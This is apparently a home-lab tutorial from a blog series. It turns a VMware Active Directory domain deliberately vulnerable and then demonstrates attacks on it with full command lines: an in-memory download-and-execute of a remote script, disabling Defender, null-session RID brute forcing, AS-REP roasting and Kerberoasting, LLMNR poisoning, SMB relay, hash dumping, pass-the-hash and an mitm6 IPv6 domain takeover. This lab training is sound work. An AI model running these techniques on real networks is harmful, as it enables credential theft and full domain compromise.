Hack Your VMware AD Lab

In this module we will look at using a publicly available script to make our Active Directory domain susceptible to multiple vulnerabilities.
Hack Your VMware AD Lab
In: VMware, VMware Cybersecurity Lab Project, Home Lab, Active Directory, Attack, Windows
ℹ️
This page is part of a larger series on building a cybersecurity lab using VMware Workstation Pro. Click here to be taken back to the project home page.

Previous Step

Adding an Active Directory Forest to Our VMware Lab
In this module, we will cover the steps to set up a small Active Directory forest in VMware, including a domain controller and two client computers



Using a Vulnerable AD Script

GitHub - WaterExecution/vulnerable-AD-plus: Create a vulnerable active directory that’s allowing you to test most of the active directory attacks in a local lab
Create a vulnerable active directory that's allowing you to test most of the active directory attacks in a local lab - GitHub - WaterExecution/vulnerable-AD-plus: Create a vulnerable active di…

Following along with the installation guidance, you should do the following:

  1. Log into your Domain Controller VM
  2. Run the script on the Domain Controller

Open PowerShell as Administrator

Right-click the Start Menu > click "Terminal (Admin)"
Logged into 10.80.80.2, which is the domain controller's IP address

Run the Script in Memory

I am going to run the following PowerShell commands:

# Set the Execution Policy to allow unsigned scripts
Set-ExecutionPolicy -ExecutionPolicy Bypass -Force

We're going to download the script as a string using a .NET class. The script has a placeholder domain name of change.me, so we must change that before running it.

I'll use the PowerShell -replace operator to change change.me to ad.lab. Be sure to substitute it with whatever your domain is. The script will then run in memory using Invoke-Expression.

[System.Net.WebClient]::new().DownloadString('https://raw.githubusercontent.com/WaterExecution/vulnerable-AD-plus/master/vulnadplus.ps1') -replace 'change\.me', 'ad.lab' | Invoke-Expression
The script is executing, creating users, groups, and other vulnerable objects / policies
ℹ️
Once the script finishes, it will automatically reboot the server.



Additional Configurations

Group Policy Objects (GPOs)

GPOs are a convenient way to ensure that all of your domain-joined hosts conform to a uniform baseline. The workflow goes like this:

  1. Define a set of GPOs on the domain controller.
  2. Update the group policy database by using the gpupdate /force command on the domain controller.
  3. If a host joins the domain for the first time, it will apply the domain policy at the moment it joins.
  4. Hosts that are already joined to the domain will poll the domain controller(s) at regular intervals for updates to the policy. The system administrator can also manually trigger this process using the gpupdate /force command.

Disable Windows Defender AV and Firewall

Open the Start Menu, search for Group Policy, and open the application...

Forest > Domains > ad.lab > Right-click and select "Create a GPO..."
Click "OK"
Right-click the new policy object > select "Edit..."

Expand down into Computer Configuration > Policies > Administrative Templates > Windows Components > Microsoft Defender Antivirus

Double-click "Turn off Microsoft Defender Antivirus" > Enabled > OK
Double-click "Real-time Protection"
Double-click "Turn off real-time protection" > Enabled > OK

Now, go to Computer Configuration > Policies > Administrative Templates > Network > Network Connections > Windows Defender Firewall > Domain Profile

Double-click "...Protect all network connections" > Disabled > OK

Now, go back to the Group Policy Management console...

Right-click the GPO > Select "Enforced"



Enable WinRM on All Hosts in the Domain

Open the Group Policy Management app, navigate to Forest > Domains > ad.lab and click Create a GPO in this domain, and Link it here...

Right-click the new policy and choose "Edit..."

Expand down into Computer Configuration > Policies > Administrative Templates > Windows Components > Windows Remote Management (WinRM)

Double-click "WinRM Service"
Double-click "Allow remote server ..."
Set the IPv4 filter to * to allow listening on any IPv4 address > click "OK"
ℹ️
This will open TCP/5985 on your Windows hosts. You can verify the service is running by checking if that port is open.

Now, descend into Computer Configuration > Preferences > Control Panel Settings > Serivces

Right-click Service > New > Service
Configure as shown and click "OK"



Enable Remote Desktop on All Hosts in the Domain

Open the Group Policy Management app, navigate to Forest > Domains > ad.lab and click Create a GPO in this domain, and Link it here...

Right-click on the new policy and click "Edit..."

Descend into Computer Configuration > Policies > Administrative Templates > Windows Components > Remote Desktop Services > Remote Desktop Session Host > Connections

Double-click "Allow users to connect remotely..." > Enabled > OK

Now, expand into Computer Configuration > Policies > Windows Settings > Security Settings > User Rights Assignment

Double-click "Allow log on through Remote Desktop Services"
Check the box and select "Add User or Group..."
Click "Browse..."
Enter "Domain Users" > Check Names > OK
Repeat so that both of these groups are added

Now, expand into Computer Configuration > Preferences > Control Panel Settings > Local Users and Groups

ℹ️
We want to add the Domain Users group to the local, built-in Remote Desktop Users group on every domain-joined host.
Right-click "Local Users and Groups" > New > Local Group
Expand the menu and choose "Remote Desktop Users (built-in)"
Click "Add..."
Click "..." menu
Enter "Domain Users" and click "Check Names" > Click "OK"
You should see the domain group and its SID > Click OK
⚠️
This doesn't apply to the domain controller, so we still need to configure the Remote Desktop Users built-in group on the DC itself.
Open "Users and Computers"
ad.lab > Builtin > Remote Desktop Users
Add the groups here and click "OK"



Enable RPC Access on All Hosts in the Domain

Open the Group Policy Management app, navigate to Forest > Domains > ad.lab and click Create a GPO in this domain, and Link it here...

Right-click the GPO and click "Edit..."

Descend into Computer Configuration > Policies > Administrative Templates > System > Remote Procedure Call

Double-click "Enable RPC Endpoint Mapper..." > Enabled > OK



Force a Group Policy Update

Right-click the Start Menu > click "Terminal (Admin)"
The new policies are applied to the domain controller
Restart-Computer -Force

Reboot the domain controller

ℹ️
The policies will be inherited by your Windows 11 VMs when they perform their regularly scheduled sync with the domain controller. You can also run the gpupdate /force command on your Windows 11 VMs or reboot them to force an update as well.



Testing Some Attacks

Putting Kali on the AD LAB LAN

Refer to the instructions here for putting Kali on the Active Directory LAN (as well as putting it back).

Adding an Active Directory Forest to Our VMware Lab
In this module, we will cover the steps to set up a small Active Directory forest in VMware, including a domain controller and two client computers

Enumerate the Domain

Enumerating Hosts and ... | 0xBEN | Notes
Post-Compromise Enumeration Enumerating Hosts PowerShell Ping Sweep on Target Not the most reliab…
sudo nmap -Pn -p389 -T4 --script ldap-rootdse 10.80.80.2
Here we can see the root domain name is 'ad.lab'



RID Cycling to Enumerate Users

⚠️
This one isn't technically part of the vulnerable AD script. What I did is reference this article that disables null session enumeration and worked in reverse on the domain controller.

https://www.blumira.com/integration/how-to-disable-null-session-in-windows/

A reboot is required to apply the changes.

Create a new GPO in the domain, edit it, and set the following settings:

  • Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
    • Network access: Allow anonymous SID/Name translation: Enabled
    • Network access: Do not allow anonymous enumeration of SAM accounts: Disabled
    • Network access: Do not allow anonymous enumeration of SAM accounts and shares: Disabled
    • Network access: Let Everyone permissions apply to anonymous users: Enabled
    • Network access: Named Pipes that can be accessed anonymously
      • Define this policy: ✅
      • Use default selections
    • Network access: Shares that can be accessed anonymously
      • Define this policy: ✅
      • Use default selections
    • Network access: Restrict anonymous access to Named Pipes and Shares: Disabled

Let's try null session enumeration and see if we can anonymously authenticate to the domain controller and produce some user names by spraying RIDs.

NULL Session Enumerati... | 0xBEN | Notes
NULL Session LDAP, SMB, and RPC may allow a user to authenticate to the service without providing a…
nxc smb 10.80.80.2 -d ad.lab -u 'anonymous' -p '' --rid-brute 3000
Lots and lots of usernames!

This is a really good trick to try on Active Directory labs and challenges where you don't have any usernames and just need a start to begin some possible password spraying attacks.



AS-REP Roasting Usernames

First, we'll get all of the usernames as we have before, and then transform the output and send it to a file.

nxc smb 10.80.80.2 -d ad.lab -u 'anonymous' -p '' --rid-brute 3000 > rids.txt

Output to /tmp/usernames.txt

grep SidTypeUser rids.txt | cut -d '\' -f 2 | cut -d ' ' -f 1 > /tmp/usernames.txt

Next, we can run the impacket-GetNPUsers script to see which users are AS-REP roastable.

impacket-GetNPUsers -usersfile /tmp/usernames.txt -no-pass -dc-ip 10.80.80.2 ad.lab/

Again, my domain is 'ad.lab', change accordingly

Finally, we can see there is a user in this list that is AS-REP roastable.

Found a total of three accounts
AS-REP hashes saved to a text file

Let's see if we can crack the AS-REP hashes using rockyou.txt. There's also a separate word list for the Vulnerable AD project here.

john --wordlist=rockyou.txt --fork=4 hashes.txt
The hashes crack extremely quickly



Dumping Resources from LDAP

ldapdomaindump -u 'ad.lab\noella.rozanna' -p 'nissan' -o /tmp/ldd 10.80.80.2

Hunting for Passwords in User Properties

grep -i password /tmp/ldd/domain_users.grep

Search for the word 'password' in the output file

Can see several passwords in the output, as well as some set with the company default

Enumerate Domain Computer Accounts

cat /tmp/ldd/domain_computers.grep



Dumping Active Directory Integrated DNS

Dumping DNS Records wi... | 0xBEN | Notes
Active Directory Integrated DNS Dump (adidnsdump) GitHub Repository Installation python3 -m pip i…
adidnsdump -u 'ad.lab\noella.rozanna' -p 'nissan' -r ldap://10.80.80.2:389

Change your user and domain name as needed for your lab



Enumerate the Domain Account Policy

nxc smb 10.80.80.2 -u 'noella.rozanna' -p 'nissan' -d 'ad.lab' --pass-pol
Account Lockout Threshold: None, we can spray creds and passwords to our heart's delight



Check for Kerberoastable Accounts

impacket-GetUserSPNs -dc-ip 10.80.80.2 'ad.lab/noella.rozanna:nissan'
Paste the Name column into a services.txt file to capture all of the SPNs
ℹ️
Performing the attack in this way, with the -no-preauth flag allows us to Kerberoast even on Windows Server 2025. We supply the name of a user that does not require Kerberos pre-authentication. In this case, the current user, noella.rozanna is a perfect candidate.
impacket-GetUserSPNs -dc-ip 10.80.80.2 'ad.lab/noella.rozanna:nissan' -no-preauth "noella.rozanna" -usersfile services.txt
hashcat -m 19700 --force hashes.txt PasswordList.txt

Attempt to crack using the password list from the vulnerable A



Enumerating Public SMB Shares

smbclient -N -L //10.80.80.2
The "Common" share seems interesting and the most likely to be open to a non-admin user
smbclient -N //10.80.80.2/Common
Inded
We are denied from retrieving the file, but we can upload files, which may be of interest later



BloodHound

BloodHound | 0xBEN | Notes
Install and Initial Setup Kali Linux When changing the neo4j user password at initial setup, I was…

Remote Bloodhound Collector

Remote Bloodhound | 0xBEN | Notes
GitHub Repo Prerequisites impacket ldap3 dnspython Installation python3 -m pip install…
echo -e '10.80.80.2\t\tDC01.ad.lab ad.lab' | sudo tee -a /etc/hosts

Add an entry to your hosts file for the domain controller

nxc ldap 10.80.80.2 -u 'noella.rozanna' -p 'nissan' -d 'ad.lab' --bloodhound -c All --dns-server 10.80.80.2
In BloodHound > Administration > File Ingest > Upload File(s) > Upload the .zip file generated by nxc
We have data in BloodHound now, ready for analysis



Local BloodHound Collector

Releases · BloodHoundAD/SharpHound
C# Data Collector for BloodHound. Contribute to BloodHoundAD/SharpHound development by creating an account on GitHub.
Linux Remote Desktop C... | 0xBEN | Notes
Usage and Help Display the xfreerdp3 man page man xfreerdp3 Display the xfreerdp3 help output on…
⚠️
If you're trying to RDP into one of your domain-joined hosts as a non-admin user and it's not working, ensure you've followed the additional step when creating the Remote Desktop GPO to allow non-admin users to RDP in.
xfreerdp3 /v:10.80.80.2 /u:'ad.lab\noella.rozanna' /p:'nissan' /drive:.,kali-share +clipboard
Note the shared drive mapped from Kali
The SharpHound collector can be run right from here
The 20250701212758_BloodHound.zip is ready to be imported into BloodHound



Example of Using a Predefined Query

Click "Cypher" > Folder Icon > Choose a query > Run
Finds all admin users in the domain



LLMNR Poisoning

ℹ️
This was added to a previous version of the AD lab after I gave a presentation on Active Directory pentesting methodology in preparation for the PJPT and/or PNPT. So, there are some different usernames in the screenshots, but the concepts are the same.

Configure Responder

sudo nano /etc/responder/Responder.conf
SMB = On
HTTP = On

Ensure these protocols are enabled

Start Responder

sudo responder -I eth0 -dvw

What's going to happen now is if a user types in a non-existent hostname on the domain, the user's computer will try and resolve the hostname using LLMNR, which broadcasts the DNS lookup on the LAN. Then, responder will poison this response informing the target that Kali's IP is the requested resource.


Simulate a User Error

  1. Log into one of your domain-joined Windows 10 hosts as any user
  2. Request a UNC mapping on a non-existent host: \\nosuchserver

Responder has replied that 10.80.80.5 — Kali's IP address — is the IP address for the nosuchserver.local LLMNR lookup. The client then attempts to authenticate to the SMB server being served by responder.

Caught a NetNTLMv2 hash for the user, 'testuser123'



Attempt to Crack the Hash

Output the NetNTLMv2 hash to a file and attempt to crack it with john. The crack_hashes.txt file is a dummy wordlist I put together for demonstration purposes, as I know testuser123's password.

echo 'testuser123::AD:732542a6f3f915f5:F45FC641DB17B4E4FF8BA900A7797180:010100000000000080052DE0883FDA011A34BCC74A5C918C0000000002000800490054005300420001001E00570049004E002D0052004A005A0032005000390059004A00470051004C0004003400570049004E002D0052004A005A0032005000390059004A00470051004C002E0049005400530042002E004C004F00430041004C000300140049005400530042002E004C004F00430041004C000500140049005400530042002E004C004F00430041004C000700080080052DE0883FDA01060004000200000008003000300000000000000001000000002000000DACA5687DC86946BC593A96AB967B875FBFF8E61060D50FF3A9939E1B6F14D30A001000000000000000000000000000000000000900220063006900660073002F006E006F0073007500630068007300650072007600650072000000000000000000' > net-ntlm-hash
john --wordlist=crack_hashes.txt net-ntlm-hash



Pass the Password Around the Network

nxc smb 10.80.80.0/24 -u 'testuser123' -p 'TestUser1!' -d ad.lab

Excellent! testuser123 is an administrator on WIN10ENT1.ad.lab. The next logical step would be to see what other information (e.g. usernames, password, hashes) we can dig up from this host.



Dump Hashes from WIN10ENT1

impacket-secretsdump 'testuser123:TestUser1!@10.80.80.3'
ℹ️
Recall that when we setup the Active Directory lab in the previous step that the Template user is a local administrator. The password is repeated across multiple hosts.



Pass the Local Administrator's Hash Around

crackmapexec smb 10.80.80.0/24 -u 'Template' -H '66216d8fd712c24c18dfa588cfdeca75' --local-auth -M lsassy



SMB Relay

SMB Relay (Internal/Ex... | 0xBEN | Notes
Note: Network Environment This attack works best in a flat network. However, as long as the attacke…

Prepare to Catch and Relay on Kali

I'd recommend opening a split terminal for this step. On one side, you have responder running, on the other you have impacket-ntlmrelayx running.

Target List

echo '10.80.80.2' > /tmp/targets.txt
echo '10.80.80.3' >> /tmp/targets.txt
echo '10.80.80.4' >> /tmp/targets.txt

Responder Config

sudo nano /etc/responder/Responder.conf
; Servers to start
; ...
; ... Commented out for brevity
; ...
SMB = Off
HTTP = Off
; ...
; ... Commented out for brevity
; ...

Turn off 'SMB', 'HTTP' as they will be served by 'ntlmrelayx'


Setting up the Relay

sudo responder -I eth0 -dvw

Run Responder on one side

sudo impacket-ntlmrelayx -smb2support -tf /tmp/targets.txt

Run ntlmrelayx on the other side



Scenario: Authenticating to a Non-Existent Share

  1. Log into 10.80.80.3 as the domain.admin@ad.lab user
    1. Recall that this is the Domain Administrator account we set up when first provisioning the Active Directory forest
  2. This user incorrectly tries to map the \\10.80.80.5\files share, where 10.80.80.5 is the IP address of my Kali VM
  3. responder is helpful in this case in that we can poison requests and log the NetNTLM hash
  4. ntlmrelayx is helpful in this case in that it spoofs the SMB server, which intercepts the erroneously typed \\10.80.80.5\files request from 10.80.80.3
Attempt to map the bad share
We dumped SAM hashes from 10.80.80.4





Dump LSA with Pass-the-Hash Attack

Dumping Hashes without... | 0xBEN | Notes
Post-Compromise on Target Lsass Process Dump Sysinternals ProcDump Download ProcDump here # Dump…
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:66216d8fd712c24c18dfa588cfdeca75 'Template@10.80.80.4'
domain.admin's NTLM hash is in the output!



Get a Shell with Pass-the-Hash Attack



IPv4 Domain Takeover Using IPv6

Acquiring and Running MITM6

git clone https://github.com/dirkjanm/mitm6
cd mitm6
python3 -m pip install -r requirements.txt

Now that the mitm6 environment has been built, you can run the mitm6.py script. The high level view of this script is that it announces itself as a DHCPv6 server and router on the Local Area Network (LAN).

Most Windows hosts actively use IPv6 it is not implemented in the network environment. Therefore, when they broadcast a DHCPv6 discover request, mitm6 will happily give them a malicious configuration.

sudo python3 ./mitm6.py -d 'ad.lab'



Relay NetNTLMv2 Authentication

Start ntlmrelayx

# -6: IPv6 support
# -t: target
# -wh: WPAD hostname
# -l: loot directory to store output
sudo impacket-ntlmrelayx -6 -t ldaps://10.80.80.2 -wh wpad.ad.lab -l mitm6_output_files

Relay a Privileged Credential

⚠️
For the sake of this demonstration, we'll use a Domain Administrator's credential on a domain-joined Windows 10 host.

You shouldn't log into client devices using a Domain Administrator account, but this kind of thing does happen in the real world.
  1. Log into one of your domain-joined hosts as domain.admin@ad.lab
  2. Run the command Restart-NetAdapter * in an elevated PowerShell terminal. This will cause the network interface on the host to request a DHCPv6 lease. Otherwise, you'd have to wait until the host automatically tries to renew its lease.
mitm6 offers WIN10ENT1 an IPv6 address
Which causes WIN10ENT1 to request a WPAD file from Kali, then relays the NTLM credentials to the LDAPS server on the Domain Controller and creates a user with DCSync rights



Lots and Lots More Attacks

The official list of supported attacks is in the project GitHub's readme.

vulnerable-AD-plus/README.md at master · WaterExecution/vulnerable-AD-plus
Create a vulnerable active directory that’s allowing you to test most of the active directory attacks in a local lab - WaterExecution/vulnerable-AD-plus

I can't possibly cover every attack in this tutorial, but have given you enough to get started. Please have a look at my Active Directory Attack Map and Active Directory Notes for more ideas.



Next Step

External Pentest Practice in Your VMware AD Lab
In this module of the VMware Workstation cybersecurity home lab project, we are going to look at the process of setting up a dual-homed target to serve as a pivot point into an Active Directory network.
Comments
More from 0xBEN
Building a Security Lab in VMware Workstation Pro
VMware

Building a Security Lab in VMware Workstation Pro

In this project, broken up into multiple modules, you will build a comprehensive cybersecurity home lab using VMware Workstation Pro. Upon completion, you will have an environment where you can safely practice penetration testing against a wide variety of targets, as well as detection in your SIEM.
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.